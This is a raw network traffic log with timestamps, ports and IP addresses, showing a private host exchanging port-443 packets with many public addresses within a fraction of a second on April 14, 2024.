Apr 14, 2024 03:59:52.106753111 CEST	443	48478	42.131.82.165	192.168.2.23
Apr 14, 2024 03:59:52.106765985 CEST	53278	443	192.168.2.23	212.67.150.177
Apr 14, 2024 03:59:52.106776953 CEST	443	54642	42.108.237.51	192.168.2.23
Apr 14, 2024 03:59:52.106784105 CEST	443	53278	212.67.150.177	192.168.2.23
Apr 14, 2024 03:59:52.106806040 CEST	443	58472	212.247.201.128	192.168.2.23
Apr 14, 2024 03:59:52.106829882 CEST	443	53278	212.67.150.177	192.168.2.23
Apr 14, 2024 03:59:52.106856108 CEST	53278	443	192.168.2.23	212.67.150.177
Apr 14, 2024 03:59:52.106868029 CEST	443	53278	212.67.150.177	192.168.2.23
Apr 14, 2024 03:59:52.106889009 CEST	443	33412	148.134.149.44	192.168.2.23
Apr 14, 2024 03:59:52.106904984 CEST	443	48478	42.131.82.165	192.168.2.23
Apr 14, 2024 03:59:52.106936932 CEST	38708	443	192.168.2.23	117.44.172.11
Apr 14, 2024 03:59:52.106940031 CEST	42310	443	192.168.2.23	210.178.32.26
Apr 14, 2024 03:59:52.106940031 CEST	42310	443	192.168.2.23	210.178.32.26
Apr 14, 2024 03:59:52.106940031 CEST	57432	443	192.168.2.23	37.208.92.62
Apr 14, 2024 03:59:52.106940031 CEST	57432	443	192.168.2.23	37.208.92.62
Apr 14, 2024 03:59:52.106940031 CEST	36558	443	192.168.2.23	202.186.229.224
Apr 14, 2024 03:59:52.106951952 CEST	443	38708	117.44.172.11	192.168.2.23
Apr 14, 2024 03:59:52.106959105 CEST	443	42310	210.178.32.26	192.168.2.23
Apr 14, 2024 03:59:52.106973886 CEST	443	57432	37.208.92.62	192.168.2.23
Apr 14, 2024 03:59:52.106987000 CEST	38708	443	192.168.2.23	117.44.172.11
Apr 14, 2024 03:59:52.106995106 CEST	443	36558	202.186.229.224	192.168.2.23
Apr 14, 2024 03:59:52.107024908 CEST	36558	443	192.168.2.23	202.186.229.224
Apr 14, 2024 03:59:52.107026100 CEST	443	38708	117.44.172.11	192.168.2.23
Apr 14, 2024 03:59:52.107049942 CEST	443	42310	210.178.32.26	192.168.2.23
Apr 14, 2024 03:59:52.107050896 CEST	32910	443	192.168.2.23	109.209.208.123
Apr 14, 2024 03:59:52.107058048 CEST	443	57432	37.208.92.62	192.168.2.23
Apr 14, 2024 03:59:52.107070923 CEST	443	32910	109.209.208.123	192.168.2.23
Apr 14, 2024 03:59:52.107115984 CEST	443	36558	202.186.229.224	192.168.2.23
Apr 14, 2024 03:59:52.107119083 CEST	443	32910	109.209.208.123	192.168.2.23
Apr 14, 2024 03:59:52.107243061 CEST	42414	443	192.168.2.23	123.192.203.12
Apr 14, 2024 03:59:52.107259989 CEST	443	42414	123.192.203.12	192.168.2.23
Apr 14, 2024 03:59:52.107300043 CEST	60522	443	192.168.2.23	37.246.18.42
Apr 14, 2024 03:59:52.107310057 CEST	42414	443	192.168.2.23	123.192.203.12
Apr 14, 2024 03:59:52.107316971 CEST	443	42414	123.192.203.12	192.168.2.23
Apr 14, 2024 03:59:52.107319117 CEST	443	60522	37.246.18.42	192.168.2.23
Apr 14, 2024 03:59:52.107320070 CEST	443	42414	123.192.203.12	192.168.2.23
Apr 14, 2024 03:59:52.107355118 CEST	41100	443	192.168.2.23	148.145.81.162
Apr 14, 2024 03:59:52.107355118 CEST	41100	443	192.168.2.23	148.145.81.162
Apr 14, 2024 03:59:52.107366085 CEST	443	41100	148.145.81.162	192.168.2.23
Apr 14, 2024 03:59:52.107371092 CEST	60522	443	192.168.2.23	37.246.18.42
Apr 14, 2024 03:59:52.107373953 CEST	52104	443	192.168.2.23	123.44.124.111
Apr 14, 2024 03:59:52.107383966 CEST	443	52104	123.44.124.111	192.168.2.23
Apr 14, 2024 03:59:52.107388973 CEST	443	41100	148.145.81.162	192.168.2.23
Apr 14, 2024 03:59:52.107393026 CEST	52104	443	192.168.2.23	123.44.124.111
Apr 14, 2024 03:59:52.107393980 CEST	443	60522	37.246.18.42	192.168.2.23
Apr 14, 2024 03:59:52.107408047 CEST	37338	443	192.168.2.23	42.80.43.253
Apr 14, 2024 03:59:52.107419968 CEST	443	37338	42.80.43.253	192.168.2.23
Apr 14, 2024 03:59:52.107459068 CEST	443	52104	123.44.124.111	192.168.2.23
Apr 14, 2024 03:59:52.107464075 CEST	37338	443	192.168.2.23	42.80.43.253
Apr 14, 2024 03:59:52.107469082 CEST	443	37338	42.80.43.253	192.168.2.23
Apr 14, 2024 03:59:52.107486010 CEST	443	37338	42.80.43.253	192.168.2.23
Apr 14, 2024 03:59:52.107506037 CEST	56504	443	192.168.2.23	148.92.249.254
Apr 14, 2024 03:59:52.107506037 CEST	56504	443	192.168.2.23	148.92.249.254
Apr 14, 2024 03:59:52.107511044 CEST	60428	443	192.168.2.23	42.205.235.67
Apr 14, 2024 03:59:52.107511044 CEST	60428	443	192.168.2.23	42.205.235.67
Apr 14, 2024 03:59:52.107522011 CEST	443	56504	148.92.249.254	192.168.2.23
Apr 14, 2024 03:59:52.107525110 CEST	443	60428	42.205.235.67	192.168.2.23
Apr 14, 2024 03:59:52.107539892 CEST	40778	443	192.168.2.23	210.187.162.73
Apr 14, 2024 03:59:52.107563019 CEST	443	40778	210.187.162.73	192.168.2.23
Apr 14, 2024 03:59:52.107563972 CEST	50282	443	192.168.2.23	123.81.216.183
Apr 14, 2024 03:59:52.107569933 CEST	40778	443	192.168.2.23	210.187.162.73
Apr 14, 2024 03:59:52.107578993 CEST	443	50282	123.81.216.183	192.168.2.23
Apr 14, 2024 03:59:52.107582092 CEST	45520	443	192.168.2.23	94.24.102.92
Apr 14, 2024 03:59:52.107588053 CEST	443	56504	148.92.249.254	192.168.2.23
Apr 14, 2024 03:59:52.107590914 CEST	443	45520	94.24.102.92	192.168.2.23
Apr 14, 2024 03:59:52.107593060 CEST	50282	443	192.168.2.23	123.81.216.183
Apr 14, 2024 03:59:52.107604980 CEST	45520	443	192.168.2.23	94.24.102.92
Apr 14, 2024 03:59:52.107614040 CEST	443	45520	94.24.102.92	192.168.2.23
Apr 14, 2024 03:59:52.107616901 CEST	443	40778	210.187.162.73	192.168.2.23
Apr 14, 2024 03:59:52.107623100 CEST	443	60428	42.205.235.67	192.168.2.23
Apr 14, 2024 03:59:52.107630968 CEST	54322	443	192.168.2.23	5.110.248.6
Apr 14, 2024 03:59:52.107644081 CEST	443	50282	123.81.216.183	192.168.2.23
Apr 14, 2024 03:59:52.107650995 CEST	39582	443	192.168.2.23	5.9.40.13
Apr 14, 2024 03:59:52.107657909 CEST	443	54322	5.110.248.6	192.168.2.23
Apr 14, 2024 03:59:52.107672930 CEST	443	39582	5.9.40.13	192.168.2.23
Apr 14, 2024 03:59:52.107681036 CEST	54322	443	192.168.2.23	5.110.248.6
Apr 14, 2024 03:59:52.107685089 CEST	39810	443	192.168.2.23	2.152.72.207
Apr 14, 2024 03:59:52.107686043 CEST	39582	443	192.168.2.23	5.9.40.13
Apr 14, 2024 03:59:52.107696056 CEST	443	39810	2.152.72.207	192.168.2.23
Apr 14, 2024 03:59:52.107707977 CEST	39810	443	192.168.2.23	2.152.72.207
Apr 14, 2024 03:59:52.107707977 CEST	443	54322	5.110.248.6	192.168.2.23
Apr 14, 2024 03:59:52.107714891 CEST	49900	443	192.168.2.23	5.92.99.46
Apr 14, 2024 03:59:52.107719898 CEST	443	39582	5.9.40.13	192.168.2.23
Apr 14, 2024 03:59:52.107722044 CEST	443	39810	2.152.72.207	192.168.2.23
Apr 14, 2024 03:59:52.107727051 CEST	443	49900	5.92.99.46	192.168.2.23
Apr 14, 2024 03:59:52.107789993 CEST	36804	443	192.168.2.23	118.180.110.42
Apr 14, 2024 03:59:52.107789993 CEST	36804	443	192.168.2.23	118.180.110.42
Apr 14, 2024 03:59:52.107791901 CEST	49900	443	192.168.2.23	5.92.99.46
Apr 14, 2024 03:59:52.107805014 CEST	443	36804	118.180.110.42	192.168.2.23
Apr 14, 2024 03:59:52.107834101 CEST	59286	443	192.168.2.23	37.19.188.209
Apr 14, 2024 03:59:52.107841969 CEST	443	49900	5.92.99.46	192.168.2.23
Apr 14, 2024 03:59:52.107846022 CEST	443	59286	37.19.188.209	192.168.2.23
Apr 14, 2024 03:59:52.107852936 CEST	443	36804	118.180.110.42	192.168.2.23
Apr 14, 2024 03:59:52.107855082 CEST	59286	443	192.168.2.23	37.19.188.209
Apr 14, 2024 03:59:52.107867002 CEST	51960	443	192.168.2.23	178.110.229.146
Apr 14, 2024 03:59:52.107877016 CEST	443	51960	178.110.229.146	192.168.2.23
Apr 14, 2024 03:59:52.107878923 CEST	47800	443	192.168.2.23	202.181.132.31
Apr 14, 2024 03:59:52.107878923 CEST	47800	443	192.168.2.23	202.181.132.31
Apr 14, 2024 03:59:52.107888937 CEST	443	47800	202.181.132.31	192.168.2.23
Apr 14, 2024 03:59:52.107892036 CEST	443	59286	37.19.188.209	192.168.2.23
Apr 14, 2024 03:59:52.107897997 CEST	51960	443	192.168.2.23	178.110.229.146
Apr 14, 2024 03:59:52.107906103 CEST	443	51960	178.110.229.146	192.168.2.23
Apr 14, 2024 03:59:52.107908964 CEST	443	51960	178.110.229.146	192.168.2.23
Apr 14, 2024 03:59:52.107913017 CEST	59744	443	192.168.2.23	123.34.181.137
Apr 14, 2024 03:59:52.107922077 CEST	443	59744	123.34.181.137	192.168.2.23
Apr 14, 2024 03:59:52.107959032 CEST	443	47800	202.181.132.31	192.168.2.23
Apr 14, 2024 03:59:52.107969046 CEST	443	59744	123.34.181.137	192.168.2.23
Apr 14, 2024 03:59:52.107994080 CEST	37992	443	192.168.2.23	42.249.81.52
Apr 14, 2024 03:59:52.107994080 CEST	37992	443	192.168.2.23	42.249.81.52
Apr 14, 2024 03:59:52.107997894 CEST	55428	443	192.168.2.23	202.176.161.27
Apr 14, 2024 03:59:52.108004093 CEST	443	37992	42.249.81.52	192.168.2.23
Apr 14, 2024 03:59:52.108009100 CEST	59744	443	192.168.2.23	123.34.181.137
Apr 14, 2024 03:59:52.108020067 CEST	443	59744	123.34.181.137	192.168.2.23
Apr 14, 2024 03:59:52.108020067 CEST	443	55428	202.176.161.27	192.168.2.23
Apr 14, 2024 03:59:52.108043909 CEST	55428	443	192.168.2.23	202.176.161.27
Apr 14, 2024 03:59:52.108046055 CEST	46988	443	192.168.2.23	5.130.26.200
Apr 14, 2024 03:59:52.108048916 CEST	443	55428	202.176.161.27	192.168.2.23
Apr 14, 2024 03:59:52.108057022 CEST	443	46988	5.130.26.200	192.168.2.23
Apr 14, 2024 03:59:52.108057022 CEST	443	55428	202.176.161.27	192.168.2.23
Apr 14, 2024 03:59:52.108067989 CEST	443	37992	42.249.81.52	192.168.2.23
Apr 14, 2024 03:59:52.108068943 CEST	46988	443	192.168.2.23	5.130.26.200
Apr 14, 2024 03:59:52.108082056 CEST	40540	443	192.168.2.23	37.105.85.27
Apr 14, 2024 03:59:52.108082056 CEST	40540	443	192.168.2.23	37.105.85.27
Apr 14, 2024 03:59:52.108093977 CEST	443	40540	37.105.85.27	192.168.2.23
Apr 14, 2024 03:59:52.108098030 CEST	60474	443	192.168.2.23	42.58.12.247
Apr 14, 2024 03:59:52.108108044 CEST	443	60474	42.58.12.247	192.168.2.23
Apr 14, 2024 03:59:52.108110905 CEST	443	46988	5.130.26.200	192.168.2.23
Apr 14, 2024 03:59:52.108153105 CEST	60474	443	192.168.2.23	42.58.12.247
Apr 14, 2024 03:59:52.108155012 CEST	39168	443	192.168.2.23	178.85.241.185
Apr 14, 2024 03:59:52.108161926 CEST	443	39168	178.85.241.185	192.168.2.23
Apr 14, 2024 03:59:52.108177900 CEST	443	40540	37.105.85.27	192.168.2.23
Apr 14, 2024 03:59:52.108222008 CEST	39168	443	192.168.2.23	178.85.241.185
Apr 14, 2024 03:59:52.108233929 CEST	52680	443	192.168.2.23	118.16.138.1
Apr 14, 2024 03:59:52.108243942 CEST	443	52680	118.16.138.1	192.168.2.23
Apr 14, 2024 03:59:52.108252048 CEST	443	60474	42.58.12.247	192.168.2.23
Apr 14, 2024 03:59:52.108267069 CEST	443	52680	118.16.138.1	192.168.2.23
Apr 14, 2024 03:59:52.108285904 CEST	52680	443	192.168.2.23	118.16.138.1
Apr 14, 2024 03:59:52.108292103 CEST	43288	443	192.168.2.23	123.2.207.82
Apr 14, 2024 03:59:52.108294010 CEST	443	52680	118.16.138.1	192.168.2.23
Apr 14, 2024 03:59:52.108300924 CEST	443	43288	123.2.207.82	192.168.2.23
Apr 14, 2024 03:59:52.108305931 CEST	443	39168	178.85.241.185	192.168.2.23
Apr 14, 2024 03:59:52.108311892 CEST	443	43288	123.2.207.82	192.168.2.23
Apr 14, 2024 03:59:52.108350992 CEST	43288	443	192.168.2.23	123.2.207.82
Apr 14, 2024 03:59:52.108354092 CEST	50826	443	192.168.2.23	117.134.141.233
Apr 14, 2024 03:59:52.108360052 CEST	443	43288	123.2.207.82	192.168.2.23
Apr 14, 2024 03:59:52.108366013 CEST	443	50826	117.134.141.233	192.168.2.23
Apr 14, 2024 03:59:52.108375072 CEST	50826	443	192.168.2.23	117.134.141.233
Apr 14, 2024 03:59:52.108376980 CEST	443	50826	117.134.141.233	192.168.2.23
Apr 14, 2024 03:59:52.108383894 CEST	443	50826	117.134.141.233	192.168.2.23
Apr 14, 2024 03:59:52.108438969 CEST	38480	443	192.168.2.23	212.227.51.55
Apr 14, 2024 03:59:52.108439922 CEST	38480	443	192.168.2.23	212.227.51.55
Apr 14, 2024 03:59:52.108447075 CEST	44614	443	192.168.2.23	2.9.117.250
Apr 14, 2024 03:59:52.108450890 CEST	443	38480	212.227.51.55	192.168.2.23
Apr 14, 2024 03:59:52.108459949 CEST	443	44614	2.9.117.250	192.168.2.23
Apr 14, 2024 03:59:52.108489037 CEST	443	38480	212.227.51.55	192.168.2.23
Apr 14, 2024 03:59:52.108495951 CEST	44614	443	192.168.2.23	2.9.117.250
Apr 14, 2024 03:59:52.108496904 CEST	48688	443	192.168.2.23	148.121.84.160
Apr 14, 2024 03:59:52.108496904 CEST	443	44614	2.9.117.250	192.168.2.23
Apr 14, 2024 03:59:52.108503103 CEST	443	44614	2.9.117.250	192.168.2.23
Apr 14, 2024 03:59:52.108519077 CEST	443	48688	148.121.84.160	192.168.2.23
Apr 14, 2024 03:59:52.108532906 CEST	48688	443	192.168.2.23	148.121.84.160
Apr 14, 2024 03:59:52.108536005 CEST	37450	443	192.168.2.23	178.130.49.55
Apr 14, 2024 03:59:52.108544111 CEST	443	37450	178.130.49.55	192.168.2.23
Apr 14, 2024 03:59:52.108549118 CEST	443	48688	148.121.84.160	192.168.2.23
Apr 14, 2024 03:59:52.108570099 CEST	37450	443	192.168.2.23	178.130.49.55
Apr 14, 2024 03:59:52.108571053 CEST	39354	443	192.168.2.23	123.83.77.73
Apr 14, 2024 03:59:52.108575106 CEST	443	37450	178.130.49.55	192.168.2.23
Apr 14, 2024 03:59:52.108576059 CEST	443	37450	178.130.49.55	192.168.2.23
Apr 14, 2024 03:59:52.108578920 CEST	443	39354	123.83.77.73	192.168.2.23
Apr 14, 2024 03:59:52.108613968 CEST	443	39354	123.83.77.73	192.168.2.23
Apr 14, 2024 03:59:52.108661890 CEST	50526	443	192.168.2.23	79.237.29.178
Apr 14, 2024 03:59:52.108661890 CEST	50526	443	192.168.2.23	79.237.29.178
Apr 14, 2024 03:59:52.108661890 CEST	51300	443	192.168.2.23	109.158.51.60
Apr 14, 2024 03:59:52.108666897 CEST	39354	443	192.168.2.23	123.83.77.73
Apr 14, 2024 03:59:52.108670950 CEST	443	39354	123.83.77.73	192.168.2.23
Apr 14, 2024 03:59:52.108678102 CEST	443	50526	79.237.29.178	192.168.2.23
Apr 14, 2024 03:59:52.108686924 CEST	443	51300	109.158.51.60	192.168.2.23
Apr 14, 2024 03:59:52.108692884 CEST	51300	443	192.168.2.23	109.158.51.60
Apr 14, 2024 03:59:52.108707905 CEST	47750	443	192.168.2.23	94.195.244.164
Apr 14, 2024 03:59:52.108720064 CEST	443	47750	94.195.244.164	192.168.2.23
Apr 14, 2024 03:59:52.108726025 CEST	443	50526	79.237.29.178	192.168.2.23
Apr 14, 2024 03:59:52.108733892 CEST	47750	443	192.168.2.23	94.195.244.164
Apr 14, 2024 03:59:52.108741045 CEST	46106	443	192.168.2.23	148.83.222.96
Apr 14, 2024 03:59:52.108748913 CEST	443	46106	148.83.222.96	192.168.2.23
Apr 14, 2024 03:59:52.108792067 CEST	443	47750	94.195.244.164	192.168.2.23
Apr 14, 2024 03:59:52.108814001 CEST	46106	443	192.168.2.23	148.83.222.96
Apr 14, 2024 03:59:52.108822107 CEST	47954	443	192.168.2.23	109.230.172.207
Apr 14, 2024 03:59:52.108834982 CEST	443	47954	109.230.172.207	192.168.2.23
Apr 14, 2024 03:59:52.108846903 CEST	47954	443	192.168.2.23	109.230.172.207
Apr 14, 2024 03:59:52.108848095 CEST	443	51300	109.158.51.60	192.168.2.23
Apr 14, 2024 03:59:52.108855009 CEST	40014	443	192.168.2.23	94.99.213.165
Apr 14, 2024 03:59:52.108855009 CEST	40014	443	192.168.2.23	94.99.213.165
Apr 14, 2024 03:59:52.108858109 CEST	443	47954	109.230.172.207	192.168.2.23
Apr 14, 2024 03:59:52.108860970 CEST	45006	443	192.168.2.23	148.15.194.53
Apr 14, 2024 03:59:52.108871937 CEST	443	40014	94.99.213.165	192.168.2.23
Apr 14, 2024 03:59:52.108885050 CEST	443	45006	148.15.194.53	192.168.2.23
Apr 14, 2024 03:59:52.108902931 CEST	443	46106	148.83.222.96	192.168.2.23
Apr 14, 2024 03:59:52.108908892 CEST	443	40014	94.99.213.165	192.168.2.23
Apr 14, 2024 03:59:52.108911991 CEST	35180	443	192.168.2.23	79.7.121.204
Apr 14, 2024 03:59:52.108913898 CEST	45006	443	192.168.2.23	148.15.194.53
Apr 14, 2024 03:59:52.108920097 CEST	443	35180	79.7.121.204	192.168.2.23
Apr 14, 2024 03:59:52.108936071 CEST	443	45006	148.15.194.53	192.168.2.23
Apr 14, 2024 03:59:52.108952999 CEST	35180	443	192.168.2.23	79.7.121.204
Apr 14, 2024 03:59:52.108958960 CEST	443	35180	79.7.121.204	192.168.2.23
Apr 14, 2024 03:59:52.108964920 CEST	36246	443	192.168.2.23	109.150.254.167
Apr 14, 2024 03:59:52.108988047 CEST	443	36246	109.150.254.167	192.168.2.23
Apr 14, 2024 03:59:52.109029055 CEST	443	36246	109.150.254.167	192.168.2.23
Apr 14, 2024 03:59:52.109030008 CEST	36246	443	192.168.2.23	109.150.254.167
Apr 14, 2024 03:59:52.109041929 CEST	443	36246	109.150.254.167	192.168.2.23
Apr 14, 2024 03:59:52.109085083 CEST	57960	443	192.168.2.23	202.190.12.93
Apr 14, 2024 03:59:52.109086037 CEST	57960	443	192.168.2.23	202.190.12.93
Apr 14, 2024 03:59:52.109087944 CEST	37920	443	192.168.2.23	123.236.80.7
Apr 14, 2024 03:59:52.109087944 CEST	37920	443	192.168.2.23	123.236.80.7
Apr 14, 2024 03:59:52.109091043 CEST	58744	443	192.168.2.23	212.110.91.134
Apr 14, 2024 03:59:52.109096050 CEST	443	37920	123.236.80.7	192.168.2.23
Apr 14, 2024 03:59:52.109100103 CEST	443	57960	202.190.12.93	192.168.2.23
Apr 14, 2024 03:59:52.109107018 CEST	443	58744	212.110.91.134	192.168.2.23
Apr 14, 2024 03:59:52.109118938 CEST	443	58744	212.110.91.134	192.168.2.23
Apr 14, 2024 03:59:52.109122038 CEST	58744	443	192.168.2.23	212.110.91.134
Apr 14, 2024 03:59:52.109127045 CEST	443	58744	212.110.91.134	192.168.2.23
Apr 14, 2024 03:59:52.109142065 CEST	443	37920	123.236.80.7	192.168.2.23
Apr 14, 2024 03:59:52.109143019 CEST	47258	443	192.168.2.23	118.140.213.51
Apr 14, 2024 03:59:52.109155893 CEST	443	47258	118.140.213.51	192.168.2.23
Apr 14, 2024 03:59:52.109160900 CEST	443	57960	202.190.12.93	192.168.2.23
Apr 14, 2024 03:59:52.109170914 CEST	47258	443	192.168.2.23	118.140.213.51
Apr 14, 2024 03:59:52.109170914 CEST	49144	443	192.168.2.23	210.175.103.81
Apr 14, 2024 03:59:52.109183073 CEST	443	49144	210.175.103.81	192.168.2.23
Apr 14, 2024 03:59:52.109184027 CEST	443	47258	118.140.213.51	192.168.2.23
Apr 14, 2024 03:59:52.109201908 CEST	443	49144	210.175.103.81	192.168.2.23
Apr 14, 2024 03:59:52.109260082 CEST	49144	443	192.168.2.23	210.175.103.81
Apr 14, 2024 03:59:52.109265089 CEST	443	49144	210.175.103.81	192.168.2.23
Apr 14, 2024 03:59:52.109266996 CEST	37638	443	192.168.2.23	178.214.66.7
Apr 14, 2024 03:59:52.109266996 CEST	37638	443	192.168.2.23	178.214.66.7
Apr 14, 2024 03:59:52.109271049 CEST	56322	443	192.168.2.23	42.132.39.246
Apr 14, 2024 03:59:52.109271049 CEST	56322	443	192.168.2.23	42.132.39.246
Apr 14, 2024 03:59:52.109281063 CEST	443	37638	178.214.66.7	192.168.2.23
Apr 14, 2024 03:59:52.109283924 CEST	443	56322	42.132.39.246	192.168.2.23
Apr 14, 2024 03:59:52.109299898 CEST	443	37638	178.214.66.7	192.168.2.23
Apr 14, 2024 03:59:52.109340906 CEST	443	56322	42.132.39.246	192.168.2.23
Apr 14, 2024 03:59:52.109344006 CEST	51074	443	192.168.2.23	123.183.247.81
Apr 14, 2024 03:59:52.109360933 CEST	443	51074	123.183.247.81	192.168.2.23
Apr 14, 2024 03:59:52.109381914 CEST	443	51074	123.183.247.81	192.168.2.23
Apr 14, 2024 03:59:52.109431028 CEST	51074	443	192.168.2.23	123.183.247.81
Apr 14, 2024 03:59:52.109442949 CEST	57660	443	192.168.2.23	148.138.143.237
Apr 14, 2024 03:59:52.109442949 CEST	443	51074	123.183.247.81	192.168.2.23
Apr 14, 2024 03:59:52.109452009 CEST	38386	443	192.168.2.23	37.92.249.236
Apr 14, 2024 03:59:52.109452009 CEST	38386	443	192.168.2.23	37.92.249.236
Apr 14, 2024 03:59:52.109462976 CEST	443	57660	148.138.143.237	192.168.2.23
Apr 14, 2024 03:59:52.109473944 CEST	57660	443	192.168.2.23	148.138.143.237
Apr 14, 2024 03:59:52.109478951 CEST	33990	443	192.168.2.23	94.139.151.205
Apr 14, 2024 03:59:52.109488964 CEST	443	33990	94.139.151.205	192.168.2.23
Apr 14, 2024 03:59:52.109496117 CEST	443	38386	37.92.249.236	192.168.2.23
Apr 14, 2024 03:59:52.109505892 CEST	33990	443	192.168.2.23	94.139.151.205
Apr 14, 2024 03:59:52.109508038 CEST	443	57660	148.138.143.237	192.168.2.23
Apr 14, 2024 03:59:52.109509945 CEST	443	33990	94.139.151.205	192.168.2.23
Apr 14, 2024 03:59:52.109512091 CEST	443	33990	94.139.151.205	192.168.2.23
Apr 14, 2024 03:59:52.109522104 CEST	443	38386	37.92.249.236	192.168.2.23
Apr 14, 2024 03:59:52.109524965 CEST	59504	443	192.168.2.23	212.139.85.28
Apr 14, 2024 03:59:52.109535933 CEST	443	59504	212.139.85.28	192.168.2.23
Apr 14, 2024 03:59:52.109584093 CEST	443	59504	212.139.85.28	192.168.2.23
Apr 14, 2024 03:59:52.109596968 CEST	34688	443	192.168.2.23	210.145.245.166
Apr 14, 2024 03:59:52.109606028 CEST	443	34688	210.145.245.166	192.168.2.23
Apr 14, 2024 03:59:52.109610081 CEST	59504	443	192.168.2.23	212.139.85.28
Apr 14, 2024 03:59:52.109615088 CEST	443	59504	212.139.85.28	192.168.2.23
Apr 14, 2024 03:59:52.109620094 CEST	34688	443	192.168.2.23	210.145.245.166
Apr 14, 2024 03:59:52.109628916 CEST	443	34688	210.145.245.166	192.168.2.23
Apr 14, 2024 03:59:52.109632969 CEST	40714	443	192.168.2.23	37.101.160.64
Apr 14, 2024 03:59:52.109644890 CEST	443	40714	37.101.160.64	192.168.2.23
Apr 14, 2024 03:59:52.109657049 CEST	40714	443	192.168.2.23	37.101.160.64
Apr 14, 2024 03:59:52.109671116 CEST	60418	443	192.168.2.23	178.132.220.5
Apr 14, 2024 03:59:52.109678030 CEST	41554	443	192.168.2.23	202.65.109.1
Apr 14, 2024 03:59:52.109678030 CEST	41554	443	192.168.2.23	202.65.109.1
Apr 14, 2024 03:59:52.109680891 CEST	443	60418	178.132.220.5	192.168.2.23
Apr 14, 2024 03:59:52.109683990 CEST	443	40714	37.101.160.64	192.168.2.23
Apr 14, 2024 03:59:52.109692097 CEST	443	41554	202.65.109.1	192.168.2.23
Apr 14, 2024 03:59:52.109745026 CEST	443	41554	202.65.109.1	192.168.2.23
Apr 14, 2024 03:59:52.109775066 CEST	443	60418	178.132.220.5	192.168.2.23
Apr 14, 2024 03:59:52.109824896 CEST	47408	443	192.168.2.23	202.169.32.182
Apr 14, 2024 03:59:52.109842062 CEST	443	47408	202.169.32.182	192.168.2.23
Apr 14, 2024 03:59:52.109853029 CEST	47408	443	192.168.2.23	202.169.32.182
Apr 14, 2024 03:59:52.109868050 CEST	47554	443	192.168.2.23	212.235.121.229
Apr 14, 2024 03:59:52.109884024 CEST	443	47408	202.169.32.182	192.168.2.23
Apr 14, 2024 03:59:52.109896898 CEST	443	47554	212.235.121.229	192.168.2.23
Apr 14, 2024 03:59:52.109924078 CEST	47554	443	192.168.2.23	212.235.121.229
Apr 14, 2024 03:59:52.109942913 CEST	443	47554	212.235.121.229	192.168.2.23
Apr 14, 2024 03:59:52.109946012 CEST	53128	443	192.168.2.23	94.109.91.124
Apr 14, 2024 03:59:52.109946012 CEST	53128	443	192.168.2.23	94.109.91.124
Apr 14, 2024 03:59:52.109954119 CEST	443	53128	94.109.91.124	192.168.2.23
Apr 14, 2024 03:59:52.109968901 CEST	42408	443	192.168.2.23	210.124.158.184
Apr 14, 2024 03:59:52.109971046 CEST	60266	443	192.168.2.23	109.121.31.246
Apr 14, 2024 03:59:52.109972000 CEST	60266	443	192.168.2.23	109.121.31.246
Apr 14, 2024 03:59:52.109982014 CEST	443	42408	210.124.158.184	192.168.2.23
Apr 14, 2024 03:59:52.109992981 CEST	42408	443	192.168.2.23	210.124.158.184
Apr 14, 2024 03:59:52.109993935 CEST	443	60266	109.121.31.246	192.168.2.23
Apr 14, 2024 03:59:52.110028982 CEST	37366	443	192.168.2.23	148.199.41.89
Apr 14, 2024 03:59:52.110028982 CEST	37366	443	192.168.2.23	148.199.41.89
Apr 14, 2024 03:59:52.110038996 CEST	443	37366	148.199.41.89	192.168.2.23
Apr 14, 2024 03:59:52.110043049 CEST	40480	443	192.168.2.23	5.175.127.211
Apr 14, 2024 03:59:52.110049009 CEST	443	53128	94.109.91.124	192.168.2.23
Apr 14, 2024 03:59:52.110054016 CEST	443	40480	5.175.127.211	192.168.2.23
Apr 14, 2024 03:59:52.110080957 CEST	443	42408	210.124.158.184	192.168.2.23
Apr 14, 2024 03:59:52.110085011 CEST	443	37366	148.199.41.89	192.168.2.23
Apr 14, 2024 03:59:52.110124111 CEST	41992	443	192.168.2.23	109.228.251.206
Apr 14, 2024 03:59:52.110125065 CEST	41992	443	192.168.2.23	109.228.251.206
Apr 14, 2024 03:59:52.110126972 CEST	40480	443	192.168.2.23	5.175.127.211
Apr 14, 2024 03:59:52.110126972 CEST	44738	443	192.168.2.23	212.146.2.105
Apr 14, 2024 03:59:52.110136032 CEST	443	41992	109.228.251.206	192.168.2.23
Apr 14, 2024 03:59:52.110136986 CEST	443	44738	212.146.2.105	192.168.2.23
Apr 14, 2024 03:59:52.110143900 CEST	443	40480	5.175.127.211	192.168.2.23
Apr 14, 2024 03:59:52.110150099 CEST	44738	443	192.168.2.23	212.146.2.105
Apr 14, 2024 03:59:52.110156059 CEST	60210	443	192.168.2.23	178.161.104.165
Apr 14, 2024 03:59:52.110163927 CEST	443	60210	178.161.104.165	192.168.2.23
Apr 14, 2024 03:59:52.110202074 CEST	443	44738	212.146.2.105	192.168.2.23
Apr 14, 2024 03:59:52.110222101 CEST	443	41992	109.228.251.206	192.168.2.23
Apr 14, 2024 03:59:52.110260010 CEST	443	60210	178.161.104.165	192.168.2.23
Apr 14, 2024 03:59:52.110308886 CEST	443	60266	109.121.31.246	192.168.2.23
Apr 14, 2024 03:59:52.110369921 CEST	44036	443	192.168.2.23	123.124.229.222
Apr 14, 2024 03:59:52.110369921 CEST	44036	443	192.168.2.23	123.124.229.222
Apr 14, 2024 03:59:52.110369921 CEST	38262	443	192.168.2.23	2.39.27.50
Apr 14, 2024 03:59:52.110383034 CEST	443	38262	2.39.27.50	192.168.2.23
Apr 14, 2024 03:59:52.110385895 CEST	443	44036	123.124.229.222	192.168.2.23
Apr 14, 2024 03:59:52.110394001 CEST	38262	443	192.168.2.23	2.39.27.50
Apr 14, 2024 03:59:52.110395908 CEST	59970	443	192.168.2.23	123.207.89.21
Apr 14, 2024 03:59:52.110404968 CEST	443	59970	123.207.89.21	192.168.2.23
Apr 14, 2024 03:59:52.110426903 CEST	59970	443	192.168.2.23	123.207.89.21
Apr 14, 2024 03:59:52.110439062 CEST	41552	443	192.168.2.23	117.46.212.43
Apr 14, 2024 03:59:52.110447884 CEST	443	44036	123.124.229.222	192.168.2.23
Apr 14, 2024 03:59:52.110451937 CEST	443	41552	117.46.212.43	192.168.2.23
Apr 14, 2024 03:59:52.110461950 CEST	443	59970	123.207.89.21	192.168.2.23
Apr 14, 2024 03:59:52.110481024 CEST	41552	443	192.168.2.23	117.46.212.43
Apr 14, 2024 03:59:52.110482931 CEST	35630	443	192.168.2.23	178.3.15.224
Apr 14, 2024 03:59:52.110491037 CEST	443	35630	178.3.15.224	192.168.2.23
Apr 14, 2024 03:59:52.110501051 CEST	443	41552	117.46.212.43	192.168.2.23
